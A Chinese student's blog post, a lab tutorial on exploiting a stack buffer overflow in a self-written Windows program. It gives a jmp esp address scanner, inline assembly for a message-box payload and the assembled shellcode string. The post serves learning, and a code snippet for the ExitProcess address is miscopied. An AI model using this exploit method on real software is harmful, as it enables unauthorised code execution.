逆向工程日记之缓冲区溢出的利用-ShellCode编写

前言

Hello,各位广大的网友们好。笔者为大二在校大学生,软件学院。为践行费曼学习法,并在前辈的建议下开始写自己的一系列博客,之前用一篇文章大概的诠释了缓冲区溢出的基本原理,本文将以此为基础进行缓冲区溢出利用的研究。

基于缓冲区溢出原理:传送门:缓冲区溢出的基本原理(一).

实验前提

  1. 实验环境 :windows 10,Windows XP;
  2. 使用工具 :IDA pro , OllyDBG,vc6.0;
  3. 目标软件 :test3.exe,get_jmp.exe(由自己编写)

所需基础

基础汇编指令

缓冲区溢出的原理

Win32 Api调用

dll动态链接库

数据结构(仅堆栈)

即使上面基础缺失,本文任有大量的注释及解释帮助理解。

缓冲区溢出原理简单介绍

传送门:缓冲区溢出的基本原理(一).

一句话概括: 由于程序的运行机制,假设利用strcpy()函数进行字符串赋值,因
定义字符串长度及传入字符串长度不一致(过长),从而占用了ebp(栈底)和call(函数)返回地址的栈区。基于此可利用修改函数调用结束后的返回地址,从而使计算机毫不犹豫的执行由我们编写的代码(shellcode)

概要

实验依据:利用缓冲区溢出基本原理,64位的应用程序会加载System32目录下的kernel32.dll,user32.dll,和ntdll.dll。函数执行完esp(栈顶)指针+4的通用性。

实验思路: 通过利用字符串传值方式修改函数(call)返回地址,返回地址采用user32.dll系统领空中(jmp esp)从而执行由我们编写的shellcode代码段

实验核心:

  1. 函数执行到返回地址时:esp+4具有大部分通用性
  2. 64位的应用程序会加载System32目录下的user32.dll
  3. 利用use32.dll段中的jmp esp指令跳转至shellcode

ShellCode介绍

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。

实验开始

test3.exe

#include<stdio.h>  //引入头文件
#include<string.h>
#include<windows.h>
char name[] = "zhemuzhemumuXXXX";  //定义全局变量

int main()            //返回值 主函数main()
{
	LoadLibrary("user32.dll");	
	char buffer[8];   //开辟8个字节的空间用来存储变量name
	strcpy(buffer,name);  //内置函数(作用):将变量name内容赋值给buffer变量
	printf("%s\n",buffer);  //输出在控制台
	getchar();               //方便观察 作用:等待用户输入按键
	return 0;                //返回值
}

text3.c中 ,变量name赋值给buffer后并引起缓冲区溢出,其中mumu占用ebp栈底数据,而XXXX为返回的地址。

get_jmp.exe中C代码如下:

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
int main()
{
	BYTE* ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary("user32.dll");
	if (!handle)
	{
		printf("Load Dll is fault");
		exit(0);
	}
	ptr = (BYTE*)handle;

	for (position = 0; !done_flag; position++)
	{
		try {
			if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
			{
				int address = (int)ptr + position;
				printf("OPCODE be founded at 0x%x\n", address);
			}
		}
		catch (...)
		{
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}

	}
	getchar();
	return 0;
}

获取ntdll.dll中 [jmp esp] 代码指令的地址。注明:其中0xFF与0xE4为Jmp esp对应的机器码

get_jmp.exe的运行结果

在这里插入图片描述

红框所选的地址均为jmp esp指令所在的地址,打开OD进行验证。

OD载入test3.exe程序,进行验证
在这里插入图片描述

由上图:0x74cab5e9地址为jmp esp指令(get_jmp.exe寻找到的任意一处地址都可以用),可用作为函数调用后返回地址,返回该地址后,计算机会毫不犹豫的执行jmp esp指令,然而esp地址具有通用性(大多数情况下不变),利用此特性植入我们的ShellCode

寻找需要植入API函数调用的地址
1.MessageBoxA() //方便我们直观查看是否注入成功
2.ExitProcess() //防止崩溃 关闭进程
3.编写下面代码获取dll中两处API(第一和第二点)所在的地址

获取MessageBoxA() 的地址代码

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("user32.dll");
	//获取到user32.dll所在地址
	printf("user32.dll = 0x%x\n", LibHandle);
	//获取MessageBox函数所在地址
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
	printf("MessageBoxA = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}

获取ExitProcess() 的地址代码

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("kernel32.dll");
	//获取到user32.dll所在地址
	printf("user32.dll = 0x%x\n", LibHandle);
	//获取MessageBox函数所在地址
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
	printf("MessageBoxA = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}

实验效果如下图并分别记录

在这里插入图片描述

在这里插入图片描述
开始ShellCode汇编代码编写

在这里插入图片描述

记录所需要用到的地址以及Message所需要用到的字符串参数

使用VC6.0,编写内联代码

int main(){

	__asm{
	
		sub esp,0x50          //提升堆栈
		xor ebx,ebx		//异或ebx为0,可用于分割字符
		push ebx
		//push 0x5761726E    //字符串Warn 由于小端序存储需要倒过来
		push 0x6E726157     //字符串:“warn”
		mov eax,esp
		push 0x146E6F69  //字符串zhemu_injestion 由于小端序存储需要倒过来
		push 0x7473656A
		push 0x6E695F75
		push 0x6D65687A
		mov ecx,esp
		push ebx
		push eax
		push ecx
		push ebx
		mov eax,0x74baf8b0 //间接调用
		call eax
		push ebx
		mov eax,0x77803be0
		call eax
	}
return 0;

	
	}

通过VC6.0自带工具转换为机器码。

在这里插入图片描述
从test3.c中植入代码

植入ShellCode后的test3.c:

#include<stdio.h>  //引入头文件
#include<string.h>
#include<windows.h>
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" //占领八个位置
			  "\x41\x41\x41\x41"                 //占领ebp位置
			  "\x79\x5b\xe3\x77"                 //jmp esp地址 返回地址
			  "\x83\xEC\x50"
			  "\x33\xDB"
			  "\x53"
			  "\x68\x57\x61\x72\x6E"
			  "\x8B\xC4"
			  "\x68\x69\x6F\x6E\x14"			
			  "\x68\x6A\x65\x73\x74"
			  "\x68\x75\x5F\x69\x6E"
			  "\x68\x7A\x68\x65\x6D"
			  "\x8B\xCC"
			  "\x53"
			  "\x50"
			  "\x51"
			  "\x53"
			  "\xB8\xEA\x07\xD5\x77"
			  "\xFF\xD0"
			  "\x53"
			  "\xB8\x0A\xD2\x81\x7C"
			  "\xFF\xD0"
			  ;  

int main()            //返回值 主函数main()
{

	char buffer[8];   //开辟8个字节的空间用来存储变量name
	LoadLibrary("user32.dll");
	strcpy(buffer,name);  //内置函数(作用):将变量name内容赋值给buffer变量
	printf("%s\n",buffer);  //输出在控制台
	getchar();               //方便观察 作用:等待用户输入按键
	return 0;                //返回值
}

大功告成,这时候将jmp esp的地址作为返回地址,并在esp地址中编写自己想要的ShellCode代码段

OK,到此为止我们了解了一个ShellCode的基本过程,直接运行text3.exe分析,校验ShellCode是否执行成功?

对text3.exe进行逆向分析。

步骤不多累赘与text1.exe(之前的文章)完全一摸一样,唯一不一样在于栈区返回地址被溢出(占用)

在这里插入图片描述
由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)

F8步过

在这里插入图片描述
由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)
2.注意红框的内容,esp值为0019FF48,具有通用性

查看0019FF48地址的内容

在这里插入图片描述

内容为我们自己编写的ShellCode代码段 ,我们继续F8步过

在这里插入图片描述

结果并没有直接执行我们编写好的ShellCode代码段,而是出现了一个错误。且错误堆栈反馈如下

在这里插入图片描述

经过大量的谷歌以及百度,借鉴论坛的博主回答如下:

在这里插入图片描述

出处由右下角,屏蔽不必要的广告。

  1. Windows下可能取消ExitProcess()该函数导致错误
  2. 此处留个坑,把《Windows核心编程》原理啃完之后修改此文章

使用虚拟机XP环境进行研究,当然地址有变化如上述描述步骤一样。并成功运行。

在这里插入图片描述
至此,大家应该已经了解了缓冲区溢出漏洞的原理,它就是因为我们输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符将返回地址覆盖掉了,利用jmp esp跳转至我们自己编写的代码。
那么依据这个原理,我们的系统就会毫不犹豫地跳到该地址处去执行指令。因此,如利用缓冲区溢出的漏洞,我们就可以构造出任何我们想要做的事,这样一来,我们就通过程序的漏洞,让计算机执行了我们自己编写的程序。

本文其中例子与实例任有不足之处,笔者才学疏浅,若有错误之处欢迎指出。任有几个坑留到日后能力提升后填,以下进行总结!

知识点:

  1. ShellCode缓冲区溢出利用
  2. Win32 Api调用
  3. 小端序,汇编参数从右向左
  4. Jmp esp通用性
  5. Dll相关知识

关键词:缓冲区溢出,Win32 Api,dll调用

留下思考:
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
除此之外:shellCode还可以做任何事情如:

  1. 恶意破解软件后加入自己收费验证。
  2. 调用获取键盘或鼠标输入函数记录等等留后门(PUBG)
  3. 等等…

本篇为在已知源码中进行ShellCode注入,然而大部分软件并不是开源,需要逆向工程师进行大量的分析以及经验从而进行无源码ShellCode注入,下篇会说明如何编写通用ShellCode以及无源码的情况下注入!

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 缓冲区溢出攻击是一种利用程序缓冲区溢出漏洞的攻击方式,通过向程序输入超出缓冲区大小的数据,覆盖程序的内存空间,从而控制程序的执行流程。Shellcode是一段用于执行特定操作的机器码,通常用于利用缓冲区溢出漏洞实现攻击。攻击者可以将Shellcode注入到程序的缓冲区中,当程序执行到被覆盖的内存空间时,就会执行Shellcode中的指令,从而实现攻击目的。 ### 回答2: 缓冲区溢出攻击是一种常见的计算机安全漏洞,它利用了程序在处理输入数据时没有正确验证长度和边界条件的问题。当输入数据超出程序所分配的缓冲区大小时,多余的数据将覆盖到其他内存区域,其中也包括调用函数的返回地址。而恶意程序员可以利用这一漏洞,将特定的字节序列(也称为shellcode)插入到溢出的位置,以执行非授权的操作。 Shellcode是一段特定的二进制代码,通常用于在操作系统上执行特定任务,包括执行系统指令、安装恶意软件、获取敏感信息等。在缓冲区溢出攻击中,攻击者将shellcode注入到溢出的位置上,使程序在执行完原本函数的一部分后跳转到shellcode中。通过编写精心构造的shellcode,攻击者可以获取系统权限、执行远程命令、进行数据操作等操作。 为了防止此类攻击,编程人员需要在编写代码时严格验证输入数据的长度,并限制其不超过缓冲区所能容纳的大小。此外,还可以使用编程语言提供的安全函数来处理库函数的调用,如使用strncpy而不是strcpy来复制字符串,以确保不会发生缓冲区溢出。此外,操作系统和编译器也提供了一些安全措施来减轻缓冲区溢出攻击的影响,比如地址空间布局随机化(ASLR)和栈保护机制(Stack Protection)等。 总之,缓冲区溢出攻击是常见的计算机安全漏洞,攻击者通过在溢出缓冲区中插入恶意代码,来执行非授权的操作。为了防止此类攻击,程序员需要在编写代码时注意验证输入数据的长度,并采取相应的安全措施来减轻攻击的影响。 ### 回答3: 缓冲区溢出攻击(shellcode)是指攻击者利用程序中存在的缓冲区溢出漏洞,将恶意代码注入到程序的内存中,以获得对受攻击系统的控制权限。 在计算机系统中,程序通常使用缓冲区来存储、处理和传输数据。然而,当程序接收到超出其定义的缓冲区大小的数据时,这些额外的数据将会覆盖到原本的内存空间,造成溢出。攻击者利用这一漏洞,往往会通过构造恶意输入数据,向溢出的缓冲区中注入非法的指令或数据,从而改变程序的执行流程。 Shellcode是一段精心编写的机器代码,通常以二进制形式存在,用于执行特定的操作或任务。而缓冲区溢出攻击中的shellcode,则是攻击者事先准备好的一段恶意代码,用于控制受攻击系统,并执行攻击者所期望的操作。一旦成功注入并执行了shellcode,攻击者就能够完全控制受攻击系统,包括读取、写入、修改、删除系统文件等。 防范缓冲区溢出攻击的方法包括: 1. 输入验证:对于用户输入的数据进行合法性验证和过滤,防止攻击者尝试注入特殊的恶意数据。 2. 使用安全的开发语言和编程实践:选择安全性好的编程语言,如Java或C#,并遵循最佳实践,如使用安全的库、避免使用已知存在漏洞的函数等。 3. 限制程序权限:将程序运行在最低权限下,以降低攻击者获取系统权限的可能性。 4. 定期更新和修补漏洞:及时安装系统和应用程序的安全更新与补丁,以修复已知的漏洞。 总之,缓冲区溢出攻击(shellcode)是一种常见而危险的攻击手法,可以通过输入验证、安全开发实践和定期更新等手段来有效防御。建议用户在使用计算机系统时保持警惕,随时关注系统安全,并采取相应的安全措施来保护自己的系统和数据。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值